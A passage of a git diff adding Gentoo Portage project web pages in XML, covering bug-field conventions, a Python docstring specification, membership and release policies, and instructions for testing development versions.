+<impo>This document is a draft and not in effect yet. Please don't link or refer to it yet unless you're discussing it.</impo>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Product and Components</title>
+
+<section>
+<title>Product</title>
+<body>
+<p>All portage related bugs should be filed under the <b>Portage Development</b>
+product. Bugs reassigned from other projects should get the product changed to
+<b>Portage Development</b>.</p>
+</body>
+</section>
+
+<section>
+<title>Components</title>
+<body>
+<p/>
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Version, Priority and Severity</title>
+
+<section>
+<title>Version</title>
+<body>
+<p>The <b>Version</b> field should list the portage branch this bug will be fixed in.
+This is aimed to target a specific branch in the subversion repository for possible fixes.</p>
+</body>
+</section>
+
+<section>
+<title>Priority</title>
+<body>
+<p>This field is generally not used for portage bugs yet.</p>
+</body>
+</section>
+
+<section>
+<title>Severity</title>
+<body>
+<table>
+<tr><th>Value</th><th>Used for</th></tr>
+<tr><ti>Enhancement</ti><ti>Any bugreports about adding/improving functionality</ti></tr>
+<tr><ti>Trivial</ti><ti>grammer or layout errors in messages, wrong colors, aynthing where no brain work is involved and functionality isn't affected</ti></tr>
+<tr><ti>Minor</ti><ti>Typos, missing imports, indentation errors, other one-line fixes</ti></tr>
+<tr><ti>Normal</ti><ti>Bugs that require more than a one-line fix, but are easy to work around</ti></tr>
+<tr><ti>Major</ti><ti>Bugs that prevent normal usage and require a lot of work</ti></tr>
+<tr><ti>Critical</ti><ti>Issues that break/corrupt package building on a large scale</ti></tr>
+<tr><ti>Blocker</ti><ti>Critical data corruption or system breakage problems</ti></tr>
+</table>
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Keywords</title>
+
+<section>
+<title>InSVN</title>
+<body>
+<p>Once a bug is supposed to be fixed in the subversion repository the <b>InSVN</b> 
+keyword is set, so fixed bugs are easy to find at release time.</p>
+</body>
+</section>
+
+<section>
+<title>Inclusion</title>
+<body>
+<p>Indicator for developers that this bug should be looked into soon, mainly used for enhancement bugs.</p>
+</body>
+</section>
+
+<section>
+<title>REGRESSION</title>
+<body>
+<p>For problems that didn't appear in a previous version. This does not apply for
+features that were intentionally dropped/changed.</p>
+</body>
+</section>
+
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/portage/doc/policies/docstring-spec.xml b/xml/htdocs/proj/en/portage/doc/policies/docstring-spec.xml
new file mode 100644
index 00000000..de959981
--- /dev/null
+++ b/xml/htdocs/proj/en/portage/doc/policies/docstring-spec.xml
@@ -0,0 +1,207 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/portage/doc/policies/docstring-spec.xml,v 1.1 2006/07/21 00:53:33 zmedico Exp $ -->
+
+<guide link="/doc/en/guide.xml" lang="en">
+<title>Portage Docstring Specification</title>
+
+<author title="Author">
+  <mail link="chriswhite@gentoo.org">Chris White</mail>
+</author>
+<author title="Contributor">
+  <mail link="genone@gentoo.org">Marius Mauch</mail>
+</author>
+<author title="Contributor">
+  <mail link="zmedico@gentoo.org">Zach Medico</mail>
+</author>
+<author title="Contributor">
+  <mail link="ferringb@gmail.com">Brian Harring</mail>
+</author>
+<author title="Contributor">
+	<mail link="alextarkovsky@gmail.com">Alex Tarkovsky</mail>
+</author>
+
+<abstract>
+This document is meant to serve as a proposal for the documentation of portage
+code using epytext and custom doc blocks.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.0</version>
+<date>2006-07-19</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<title>Motivation</title>
+<body>
+
+<p>
+The motivation behind this proposal was the current lack of standardized
+documentation for the portage API.  This makes it difficult for developers that
+would like to somehow customize portage, or use the portage API for their own
+custom scripts.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Implementation</title>
+<section>
+<title>Specification</title>
+<body>
+
+<p>
+Portage code will be documented using the epydoc documentation system.  This
+system was chosen as both portage developers and those interested in portage
+API documentation were familiar with the tool.  It was also chosen as the main
+implementor (the author) is comfortable with the system and how to use it.  The
+following is an example of a docstring for the pkgcmp function:
+</p>
+
+<pre caption="Example pkgcmp docstring">
+def pkgcmp(pkg1, pkg2):
+	"""
+	Compare 2 package versions created in pkgsplit format.
+
+	Example usage:
+		&gt;&gt;&gt; from portage_versions import *
+		&gt;&gt;&gt; pkgcmp(pkgsplit('test-1.0-r1'),pkgsplit('test-1.2-r3'))
+		-1
+		&gt;&gt;&gt; pkgcmp(pkgsplit('test-1.3'),pkgsplit('test-1.2-r3'))
+		1
+
+	@param pkg1: package to compare with
+	@type pkg1: list (example: ['test', '1.0', 'r1'])
+	@param pkg2: package to compare againts
+	@type pkg2: list (example: ['test', '1.0', 'r1'])
+	@rtype: None or integer
+	@return: 
+		1. None if package names are not the same
+		2. 1 if pkg1 is greater than pkg2
+		3. -1 if pkg1 is less than pkg2 
+		4. 0 if pkg1 equals pkg2
+	"""
+	if pkg1[0] != pkg2[0]:
+		return None
+	mycmp=vercmp(pkg1[1],pkg2[1])
+	if mycmp&gt;0:
+		return 1
+	if mycmp&lt;0:
+		return -1
+	r1=string.atof(pkg1[2][1:])
+	r2=string.atof(pkg2[2][1:])
+	if r1&gt;r2:
+		return 1
+	if r2&gt;r1:
+		return -1
+	return 0
+</pre>
+
+</body>
+</section>
+<section>
+<title>Docstring Breakdown</title>
+<body>
+
+<ul>
+  <li><b>A short one sentence description of what the package does</b></li>
+</ul>
+
+<pre caption="Description">
+Compare 2 package versions created in L{pkgsplit &lt;pkgsplit&gt;} format.
+</pre>
+
+<ul>
+  <li>
+    <b>(optional) Any additional paragraphs required to describe the function in
+    more detail</b>
+  </li>
+</ul>
+
+<pre caption="Additional Information">
+This describes a more complex function.
+
+More paragraphs here.
+</pre>
+
+<ul>
+  <li><b>(optional) Example usage</b></li>
+</ul>
+
+<pre caption="Example Usage">
+	Example usage:
+		&gt;&gt;&gt; from portage_versions import *
+		&gt;&gt;&gt; pkgcmp(pkgsplit('test-1.0-r1'),pkgsplit('test-1.2-r3'))
+		-1
+		&gt;&gt;&gt; pkgcmp(pkgsplit('test-1.3'),pkgsplit('test-1.2-r3'))
+		1
+</pre>
+
+<ul>
+  <li><b>Parameters</b></li>
+</ul>
+
+<p>
+<e>Description of the parameter</e>
+</p>
+
+<pre caption="Parameter Description">
+@param pkg1: package to compare with.
+</pre>
+
+<p>
+<e>Type of the parameter</e>.  An example is required for types with a strict
+format (format strings, strict lists, etc.).  If there are many types that can
+be given, please gave at most 2.  If type is a custom object, it must be
+referenced to in the format L{name &lt;package.object&gt;}
+</p>
+
+<pre caption="Parameter Type">
+@type pkg1: list (example: ['test', '1.0', 'r1'])
+</pre>
+
+<ul>
+  <li><b>Return Values</b></li>
+</ul>
+
+<p>
+<e>The type of the return value</e>.  List all possible types returned.
+</p>
+
+<pre caption="Return Types">
+@rtype: None or integer
+</pre>
+
+<p>
+<e>More verbose description of the values returned</e>.  The numeric list format
+must be used for more than one return type, where the types are different
+and/or the types have a strict format.
+</p>
+
+<pre caption="Return Value Description">
+	@return: 
+		1. None if package names are not the same
+		2. 1 if pkg1 is greater than pkg2
+		3. -1 if pkg1 is less than pkg2 
+		4. 0 if pkg1 equals pkg2
+</pre>
+
+</body>
+</section>
+<section>
+<title>Backwards Compatibility</title>
+<body>
+
+<p>
+Existing doc strings will be converted to the new format.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
\ No newline at end of file
diff --git a/xml/htdocs/proj/en/portage/doc/policies/membership.xml b/xml/htdocs/proj/en/portage/doc/policies/membership.xml
new file mode 100644
index 00000000..49148471
--- /dev/null
+++ b/xml/htdocs/proj/en/portage/doc/policies/membership.xml
@@ -0,0 +1,221 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/proj/en/portage/doc/membership.xml">
+<title>Information for being/becoming a portage developer</title>
+<author>
+  <mail link="genone@gentoo.org">Marius Mauch</mail>
+</author>
+
+<abstract>
+This document contains information for people interested in joining the portage 
+development team as well as rules and guidelines for existing portage developers.
+</abstract>
+
+<license/>
+
+<version>0.1</version>
+<date>02 Jul 2006</date>
+
+<!--<chapter>
+<title>Dislaimer</title>
+<section>
+<body>
+<impo>This document is a draft and not in effect yet. Please don't link or refer to it yet unless you're discussing it.</impo>
+</body>
+</section>
+</chapter>-->
+
+<chapter>
+<title>Definitions</title>
+
+<section>
+<title>Portage Developer</title>
+<body>
+<p>Portage Developers work on the sys-apps/portage package by committing
+code to the portage/main subversion repository, they have access to all branches. <br/>
+They are listed in the <e>Developers</e> section on the project site under 
+<e>Developers</e>.All Portage Developers are also full Gentoo Ebuild Developers.
+</p>
+</body>
+</section>
+
+<section>
+<title>Portage Contributors</title>
+<body>
+<p>Portage Contributors work on specific aspects of the sys-apps/portage package
+by committing code to certain branches of the portage/main subversion repository, their access
+is usually limited to those branches.<br/>
+They are listed in the <e>Developers</e> section on the project site under 
+<e>Developers</e>.
+</p>
+</body>
+</section>
+
+<section>
+<title>Portage Tools Developer</title>
+<body>
+<p>Portage Tools Developers work on the app-portage/gentoolkit and other packages 
+in the app-portage category.<br/>
+They are listed in the <e>Developers</e> section on the project site under 
+<e>Members from subproject Gentoo Portage Tools</e>.
+</p>
+</body>
+</section>
+
+<section>
+<title>Portage Release Coordinator</title>
+<body>
+<p>The portage release coordinator is responsible for creating releases of the 
+sys-apps/portage package and maintainng the associated ebuilds in the gentoo-x86 tree.
+All aspects regarding portage releases and portage ebuilds should go through
+the release coordinator.<br/>
+The Portage Release Coordinator is also a full Portage Developer.
+</p>
+</body>
+</section>
+
+<section>
+<title>Portage Project Members</title>
+<body>
+<p>This includes all above groups as well as other people working on the project that 
+aren't part of any mentioned group.<br/>
+All members are listed in the <e>Developers</e> section on the project site.
+</p>
+</body>
+</section>
+
+<section>
+<title>Lead Developers</title>
+<body>
+<p>Each of the groups above may have one or more lead developers that have additional
+rights and responsibilities.</p>
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Joining the project</title>
+<section>
+<title>Requirements</title>
+<body>
+<p>The first and most important requirement is that you have an established positive 
+track record of contributions to the portage project, be it patches, new code, bugfixes,
+documentation or other improvements. Another important requirement is to have good 
+interactions with existing members, e.g. repeated complaints on bugzilla involving foul 
+language is not going to help you to &quot;get in&quot;.<br/>
+Being an existing Gentoo developer is a benefit, but not a strict requirement (but if
+you want to join the Portage project you have to become a Gentoo developer in the process).
+</p>
+<p>On the technical side you should be familiar with portage itself (even 
+if you won't work on it directly) as well as any tools and languages involved
+with your work (languages generally being python and/or bash). You don't have to be
+a certified expert with them though.<br/>
+Some understanding of version control systems like Subversion or CVS is highly 
+recommended as well as a good understanding of basic unix concepts (e.g. you know
+how to use things like find/grep/sed/bash to get things done).</p>
+</body>
+</section>
+
+<section>
+<title>Recruitment process</title>
+<body>
+<p>If you are an existing Gentoo developer simply ask one of the Portage Lead 
+Developers to become a member, he will then add you to the projects member list 
+and get you the required access (or reject your request).</p>
+<p>For non-developers the general rules is &quot;don't contact us, we 
+contact you&quot;, however if you feel that your work is neglected feel free to
+contact either one of the lead developers or the dev-portage@gentoo.org mail alias<br/>.
+As you have to be a Gentoo Developer (not necessarily an ebuild dev though) to 
+get access to the repositories and other development resources you will at some 
+point be included in the general 
+<uri link="http://www.gentoo.org/proj/en/devrel/recruiters/index.xml#doc_chap5">
+Gentoo recruitment process</uri> (your mentor in this process will be an existing 
+portage project member). Only once you're through this process can you become a 
+portage project member.</p>
+<p>Depending on the amount and quality of your existing contributions we may
+ask you to perform additional portage specific tests if we feel that your 
+understanding of portage concepts and/or the work you're going to do has substantial 
+lacks, however this will be decided on a case by case situation.</p>
+<p>One more thing to note: Due to social group dynamics we try to keep and number of 
+members at a reasonable size, so we don't take you in that doesn't always mean that
+don't value your existing contributions, it might just be that we think that the 
+project is getting to big to be handled efficiently (we'll tell you the 
+reason of course).</p>
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Leaving the project</title>
+
+<section>
+<title>Retiring</title>
+<body>
+<p>If you have the feeling that you aren't going to contribute to the project anymore
+you're free to leave the project at any time you want. However it would be nice
+to inform the project (especially the lead developers) in advance when you're 
+leaving, if you plan to return and if there are any open issues that have to be 
+resolved (e.g. unfinished tools or docs, you were the only one working on a 
+branch and things like that).<br/>
+Leaving the portage project doesn't automatically affect your status as a Gentoo
+developer, this is solely handled by the 
+<uri link="http://www.gentoo.org/proj/en/devrel/recruiters/index.xml">recruiters group</uri>.
+</p>
+</body>
+</section>
+
+<section>
+<title>Suspension</title>
+<body>
+<note>So far there hasn't been any need for suspension in this project (and 
+hopefully there will never be a need), so the following is just preemptive 
+theory</note>
+<p>In case one or more project members feel that another member abuses his 
+priviledges in some way they can report it to the lead developers, and in case of
+serious abuse request a suspension of the member from the portage project.
+Upon such a report (or if they are noticing an abuse themselves) the lead developers
+will look into the matter, and if the report was justified (evidence for abuse is found)
+they will take actions, ranging from &quot;don't do this again&quot; notices up
+to suspension from the project (including removal of any access to project 
+repositories).</p>
+<p>It's important to note that this does not affect the general Gentoo conflict resolution
+procedures, so suspensions from the portage project do not affect any priviledges
+outside the portage project, however a suspension might involve a complaint to
+developer relations to invoke a global suspension.</p>
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Role changes / elections</title>
+
+<section>
+<title>Leads</title>
+<body>
+<p>According to the <uri link="http://www.gentoo.org/proj/en/glep/glep-0039.html">
+current metastructure model</uri> each Gentoo project must elect its leads at least
+once per year. However to simplify matters the portage project has agreed to
+only hold elections upon request by a member (as most members simply don't care 
+about leads) and otherwise rely on the existing leads.</p>
+<p>Once an election is requested (by sending a mail to the dev-portage@gentoo.org 
+alias) an election will be held within the next four weeks, and the way the election 
+will be hold will be announced on the dev-portage@gentoo.org alias within one week 
+after the request.</p>
+<p>To avoid deadlocks the request for an election can be rejected by the existing 
+leads if an election was already hold in the last six months prior to the request.</p>
+</body>
+</section>
+
+<section>
+<title>Role changes: Release Coordinator</title>
+<body>
+<p>The role of the Portage Release Coordinator is appointed by the Portage Lead Developers.</p>
+</body>
+</section>
+
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/portage/doc/policies/release.xml b/xml/htdocs/proj/en/portage/doc/policies/release.xml
new file mode 100644
index 00000000..23d973c8
--- /dev/null
+++ b/xml/htdocs/proj/en/portage/doc/policies/release.xml
@@ -0,0 +1,54 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/proj/en/portage/doc/policies/release.xml">
+<title>Portage release policy</title>
+<author>
+  <mail link="genone@gentoo.org">Marius Mauch</mail>
+  <mail link="jstubbs@gentoo.org">Jason Stubbs</mail>
+</author>
+
+<abstract>
+Rules and guidelines hot to create a portage release.
+</abstract>
+
+<license/>
+
+<version>0.1</version>
+<date>02 Jul 2006</date>
+
+<chapter>
+<title>Making a portage release</title>
+
+<section>
+<title>Release steps</title>
+<body><warn>The following is based on an old mail by former portage release coordinator Jason Stubbs, it might not reflect current practice</warn>
+<pre caption="steps to create a release">cd ${TRUNK}
+svn up
+svn diff
+# confirm that there are no changed files
+cp -R ${TRUNK} ${RELEASES_DIR}/portage-${RELEASE_VER}
+cd ${RELEASES_DIR}/portage-${RELEASE_VER}
+kill-unneeded.sh
+# replace VERSION in pym/portage.py with ${RELEASE_VER}
+diff -uNr ${RELEASES_DIR}/${PREVIOUS_RELEASE} ${RELEASES_DIR}/portage-${RELEASE_VER} | less
+# check through to make sure there are no extra files and no strange commits
+cd ${TRUNK}/..
+svn cp trunk tags/${RELEASE_VER}
+# check ${RELEASES_DIR}/${PREVIOUS_RELEASE}/ChangeLog for the last revision number
+cd ${TRUNK}
+LANG=C svn -v -r ${LAST_REVISION+1}:HEAD log > ${RELEASES_DIR}/trunk.log
+cd ${RELEASES_DIR}
+parse_log.py > portage-${RELEASE_VER}/ChangeLog
+cat ${PREVIOUS_RELEASE}/ChangeLog >> ${RELEASE_VER}/ChangeLog
+# edit portage-${RELEASE_VER}/ChangeLog, copy and adjust the release header
+tar jcf portage-${RELEASE_VER}.tar.bz2 portage-${RELEASE_VER}
+# upload to dev space and /space/distfiles-local
+# wait for the file to propogate
+# commit new ebuild
+</pre>
+</body>
+</section>
+
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/portage/doc/testing.xml b/xml/htdocs/proj/en/portage/doc/testing.xml
new file mode 100644
index 00000000..7833ff2f
--- /dev/null
+++ b/xml/htdocs/proj/en/portage/doc/testing.xml
@@ -0,0 +1,96 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/portage/doc/testing.xml,v 1.8 2010/03/25 03:53:58 zmedico Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/portage/doc/testing.xml">
+
+<title>How to obtain and test development versions of Portage</title>
+
+<author>
+  <mail link="genone@gentoo.org">Marius Mauch</mail>
+</author>
+
+<abstract>
+This document some notes about how interested users and developers can get
+get access to our Subversion repository and how to use it without replacing 
+their main Portage installation.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>0.1</version>
+<date>2007-06-14</date>
+
+<chapter>
+<title>Access to Portage GIT repositories</title>
+<section>
+<body>
+<p>The Portage sourcecode is maintained within a GIT repository on
+<uri link="http://git.overlays.gentoo.org/">git.overlays.gentoo.org</uri>. 
+If you are a dev: The main repository is located at
+<uri>git+ssh://git@git.overlays.gentoo.org/proj/portage.git</uri>,
+please note that it is subject to strict access controls, only people listed
+in the developers section on the portage project page are able to commit to it.</p>
+<note>It is assumed you know how to work with GIT.</note>
+<note>The repository can be viewed over
+<uri link="http://git.overlays.gentoo.org/gitweb/?p=proj/portage.git;a=summary">GitWeb</uri>
+</note>
+<p>
+The repository currently contains the following branches (incomplete list):
+</p>
+
+<ul>
+<li>master: the current main development line</li>
+<li>prefix: experimental branch with support for prefix installs</li>
+<li>2.1.7: current stable maintenance branch</li>
+</ul>
+
+<note>The old SVN repository still exists, but is not updated anymore or used in any other way.</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Creating snapshots from Portage GIT repositories</title>
+<section>
+<body>
+<pre caption="creating a snapshot from portage master branch">
+git clone git://git.overlays.gentoo.org/proj/portage.git
+snapshot_version=$(git describe --tags | sed -e 's|-\([0-9]\+\)-.\+$|_p\1|')
+cd portage
+./mkrelease.sh ${snapshot_version#v}
+</pre>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Testing multiple Portage versions</title>
+<section>
+<body>
+<note>This section only applies to Portage 2.1.2 or later</note>
+<p>There are various reasons why you'd want to have multiple versions of portage 
+available at the same time without having to install them as system default.
+Examples would be to check which versions are affected by a specific bug, to
+test new features before deploying a new version or have a GIT checkout available
+for testing while keeping a stable release for normal operation.</p>
+<p>As of Portage-2.1.2 one can have and use an arbitrary number of Portage 
+installations parallel to each other by adjusting the two environment variables
+<e>PATH</e> and <e>PYTHONPATH</e>. For example if you have a checkout of the
+master branch at <path>/checkouts/portage</path> you'd set them like this:</p>
+<pre caption="settings to use portage master branch">
+export PYTHONPATH="/checkouts/portage/pym:${PYTHONPATH}"
+export PATH="/checkouts/portage/bin:${PATH}"
+</pre>
+<p>With those settings calling tools like <c>emerge</c>, <c>repoman</c> or 
+<c>ebuild</c> will pickup the correct locations to import libraries. External 
+tools like gentoolkit or porthole may or may not respect those settings though.
+Setting <e>PATH</e> isn't even necessary if you always call the commands by their full 
+name (e.g. <c>/checkouts/portage/bin/emerge</c> instead of <c>emerge</c>).</p>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/portage/index.xml b/xml/htdocs/proj/en/portage/index.xml
new file mode 100644
index 00000000..85538579
--- /dev/null
+++ b/xml/htdocs/proj/en/portage/index.xml
@@ -0,0 +1,234 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+  <name>Portage</name>
+
+  <longname>Gentoo Linux Portage Development</longname>
+
+  <date>$Date: 2010/03/24 09:15:20 $</date>
+
+  <author title="Author of old project page"><mail>carpaski</mail></author>
+  <author title="Author"><mail>genone</mail></author>
+
+  <description>
+    The Portage Development Project is devoted to maintaining
+    and updating Portages core functionality and utilities.
+  </description>
+
+  <longdescription>
+    <p>The Portage Development Project works to provide a continuously
+    expanding and developing tool for the management and installation
+    of packages. The developers work on providing a coherent system
+    that is as trouble free as possible (backwards compatible, automated,
+    and simple). Bugs are tracked and fixed from the
+    <uri link="http://bugs.gentoo.org/">Gentoo bug tracker</uri> and
+    developer-developer correspondence is maintained on the
+    gentoo-portage-dev mailing list. Another communication channel is
+	the #gentoo-portage IRC channel on the freenode network.</p>
+  </longdescription>
+
+  <goals>
+    <p>The goal of the Portage Development Project stands at providing
+    a seamless integration of developer and user tools to aid the growth
+    and maintenance of the Gentoo Portage Tree.
+    </p>
+  </goals>
+
+  <subproject ref="/proj/en/portage/sandbox/index.xml" inheritmembers="yes"/>
+
+  <extraproject name="Documentation" lead="vapier">
+    Updating and Creating documentation for the tools of Portage.
+  </extraproject>
+
+  <subproject ref="/proj/en/portage/tools/index.xml" inheritmembers="yes"/>
+
+  <dev role="Member" description="Documentation">vapier</dev>
+  <dev role="Lead" description="Release Coordinator">zmedico</dev>
+  <dev role="Member">solar</dev>
+  <dev role="Member">volkmar</dev>
+
+<extrachapter position="resources">
+<title>External Documentation Resources</title>
+<section>
+<body>
+<p>Unless otherwise noted the following resources are maintained by the <uri link="/proj/en/gdp/">documentation project</uri>,
+but as they are the primary online documentation for portage we will list them here.</p>
+
+<ul>
+  <li><uri link='/doc/en/handbook/handbook-x86.xml?part=2&amp;chap=1'>A Portage Introduction</uri></li>
+  <li><uri link='/doc/en/handbook/handbook-x86.xml?part=2&amp;chap=3'>Portage Features</uri></li>
+  <li><uri link='/doc/en/handbook/handbook-x86.xml?part=3'>Working with Portage</uri></li>
+  <li><uri link='/doc/en/handbook/handbook-x86.xml?part=2&amp;chap=2'>USE flags</uri></li>
+  <li><uri link='/proj/en/devrel/handbook/handbook.xml'>Gentoo Developer Handbook (maintained by the 'Developer relations' project)</uri></li>
+  <li><uri link='http://devmanual.gentoo.org'>Gentoo Devmanual (maintained the 'QA' project)</uri></li>
+</ul>
+</body>
+</section>
+</extrachapter>
+
+<resource link="doc/faq.xml">Portage Frequently Asked Questions (FAQ)</resource>
+<resource link="doc/common-problems.xml">List of common major portage problems and solutions</resource>
+<resource link="doc/manually-fixing-portage.xml">Guide for manually fixing a broken portage install</resource>
+<resource link="doc/testing.xml">Some notes about how to obtain and test development versions</resource>
+<resource link="http://dev.gentoo.org/~zmedico/portage/doc/">Portage Documentation (generated from docbook)</resource>
+<resource link="http://dev.gentoo.org/~zmedico/portage/doc/api/">Portage API Documentation (generated with epydoc)</resource>
+<resource link="doc/policies/membership.xml">Membership policies of the Portage project</resource>
+<resource link="http://git.overlays.gentoo.org/gitweb/?p=proj/portage.git;a=blob_plain;f=NEWS;hb=master">Portage NEWS file listing new features</resource>
+<resource link="http://git.overlays.gentoo.org/gitweb/?p=proj/portage.git;a=blob_plain;f=RELEASE-NOTES;hb=master">Portage RELEASE-NOTES file listing upgrade information</resource>
+<resource link="irc://irc.freenode.net/gentoo-portage">#gentoo-portage IRC channel</resource>
+<resource link="/main/en/lists.xml">gentoo-portage-dev mailing list</resource>
+<resource link="http://packages.gentoo.org/package/sys-apps/portage">sys-apps/portage package</resource>
+<resource link="http://git.overlays.gentoo.org/gitweb/?p=proj/portage.git;a=summary">Portage GIT repository (over gitweb)</resource>
+<resource link="http://bugs.gentoo.org/buglist.cgi?bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;emailassigned_to1=1&amp;emailtype1=exact&amp;email1=dev-portage%40gentoo.org">Open bugs assigned to the dev-portage alias</resource>
+<resource link="http://bugs.gentoo.org/buglist.cgi?bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;emailassigned_to1=1&amp;emailtype1=exact&amp;email1=pms-bugs%40gentoo.org">Open bugs assigned to the pms-bugs alias</resource>
+<resource link="http://bugs.gentoo.org/buglist.cgi?bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;emailassigned_to1=1&amp;emailtype1=exact&amp;email1=tools-portage%40gentoo.org">Open bugs assigned to the tools-portage alias</resource>
+
+<extrachapter position="recruitment">
+<title>Contributing to Portage</title>
+<section>
+<title>Bug Reports</title>
+<body>
+<p>Please report all bugs you encounter on 
+<uri link="http://bugs.gentoo.org">our bug tracking system</uri>.
+Before opening a new bug report please make sure that the bug has not 
+already been reported by another user.</p>
+<impo>Do not report bugs/requests about anything other than sys-apps/portage in the Portage Development product</impo>
+
+<p>
+In your bug report please state clearly:
+</p>
+
+<ul>
+<li>How you triggered the bug (commands executed, files edited, ...)</li>
+<li>What portage version you used when you found the bug</li>
+<li>If the bug is reproducable</li>
+<li>The output of the <c>emerge --info</c> command</li>
+</ul>
+
+<p>Please don't get too impatient if there is no immideate reaction on your bug,
+it can sometimes take a while before a developer has time to look at it (this 
+also applies to non-Portage bug reports). Often we'll need additional information
+from you while trying to resolve a bug, please provide it as soon as you can, if we
+have to wait too long (over a month) we'll likely close the bug as RESOLVED:NEEDINFO,
+you can however reopen it when you posted the requested information.
+</p>
+
+<p>
+Please do not reopen bugs unless you're in one of the following situations:
+</p>
+
+<ul>
+<li>The bug was marked as RESOLVED:FIXED, but you can still reproduce it with the new 
+version that is suposed to contain the fix (the version is generally stated when 
+the bug is closed)</li>
+<li>The bug was marked as RESOLVED:NEEDINFO and you have provided the requested information</li>
+<li>The bug was marked as RESOLVED:WONTFIX, RESOLVED:CANTFIX or RESOLVED:LATER
+and you think we misunderstood you. <b>Do not reopen a bug just because you disagree 
+with our resolution</b>.</li>
+</ul>
+
+<p>
+Be aware that we will still read comments on bug reports even if the report itself is closed,
+so you don't have to reopen it just to get our attention.
+</p>
+
+<p>Every bug report deals with one specific problem, please respect that and don't talk about
+other not directly related bugs on a bug report.</p>
+</body>
+</section>
+
+<section>
+<title>Testing multiple Portage versions</title>
+<body>
+<note>This section only applies to Portage 2.1.2 or later</note>
+<p>There are various reasons why you'd want to have multiple versions of portage 
+available at the same time without having to install them as system default.
+Examples would be to check which versions are affected by a specific bug, to
+test new features before deploying a new version or have a git checkout available
+for testing while keeping a stable release for normal operation.</p>
+<p>As of Portage-2.1.2 one can have and use an arbitrary number of Portage 
+installations parallel to each other by adjusting the two environment variables
+<c>PATH</c> and <c>PYTHONPATH</c>. For example if you have a checkout of the
+master branch at <path>/checkouts/portage</path> you'd set them like this:</p>
+<pre caption="settings to use portage master branch">
+export PYTHONPATH="/checkouts/portage/pym:${PYTHONPATH}"
+export PATH="/checkouts/portage/bin:${PATH}"
+</pre>
+<p>With those settings calling tools like <c>emerge</c>, <c>repoman</c> or 
+<c>ebuild</c> will pickup the correct locations to import libraries. External 
+tools like gentoolkit or porthole may or may not respect those settings though.
+Setting <c>PATH</c> isn't even necessary if you always call the commands by their full 
+name (e.g. <c>/checkouts/portage/bin/emerge</c> instead of <c>emerge</c>).</p>
+</body>
+</section>
+
+<section>
+<title>Submitting Patches</title>
+<body>
+<p>If you want to submit a patch to sys-apps/portage or a related package, please make 
+sure the patch follows these criteria:</p>
+<ul>
+<li>Use TABS. Some people like 8 spaces, some people like 4, and some
+like 2. Tabs are the happy medium. Patches that use spaces and/or a mix of 
+tabs and spaces for indentation will likely be rejected.</li>
+<li>Generally submit diff files instead of whole files, only when the diff is 
+significantly larger than the file itself or the file didn't exist previously
+submitting the whole file is acceptable.</li>
+<li>Diffs have to be in unified form (<c>diff -u</c>, <c>git diff</c>).</li>
+<li>Always submit a detailed explanation of what the patch does and, if necessary,
+why you chose the specific implementation you submitted (IOW: what's the 
+benefit of the patch). Also include any problems and/or drawbacks you think the patch has.</li>
+<li>Always state against which version (for releases) or revision and branch (for git patches)
+the patch was made.</li>
+<li>Only submit clean patches. Do not include other patches in a
+submitted patch. If the code found in a patch does not match the
+description of the patch, it will be rejected. Also don't add any unrelated code cleanups
+in your patch</li>
+<li>Python docstrings should conform to the <uri link="doc/policies/docstring-spec.xml">
+Portage Docstring Specification</uri>.</li>
+</ul>
+
+<p>
+If the patch is related to a specific bug report, please attach it there as text/plain.
+If it is not directly related to a bug report (to your knowledge) please send it to the 
+<c>gentoo-portage-dev</c> mailing list and tag the subject with '[PATCH]'.</p>
+<note>Patches for packages NOT related to sys-apps/portage go on 
+<uri>http://bugs.gentoo.org</uri>, please do not send them to the gentoo-portage-dev 
+mailing list</note>
+
+</body>
+</section>
+
+<section>
+<title>Access to Portage GIT repositories</title>
+<body>
+<p>The Portage sourcecode is maintained within a GIT repository on
+<uri link="http://git.overlays.gentoo.org/">git.overlays.gentoo.org</uri>. 
+If you are a dev: The main repository is located at
+<uri>git+ssh://git@git.overlays.gentoo.org/proj/portage.git</uri>,
+please note that it is subject to strict access controls, only people listed
+in the developers section on this page are able to commit to it.</p>
+<note>The repository can be viewed over
+<uri link="http://git.overlays.gentoo.org/gitweb/?p=proj/portage.git;a=summary">GitWeb</uri>
+</note>
+<p>
+The repository currently contains the following branches (incomplete list):
+</p>
+
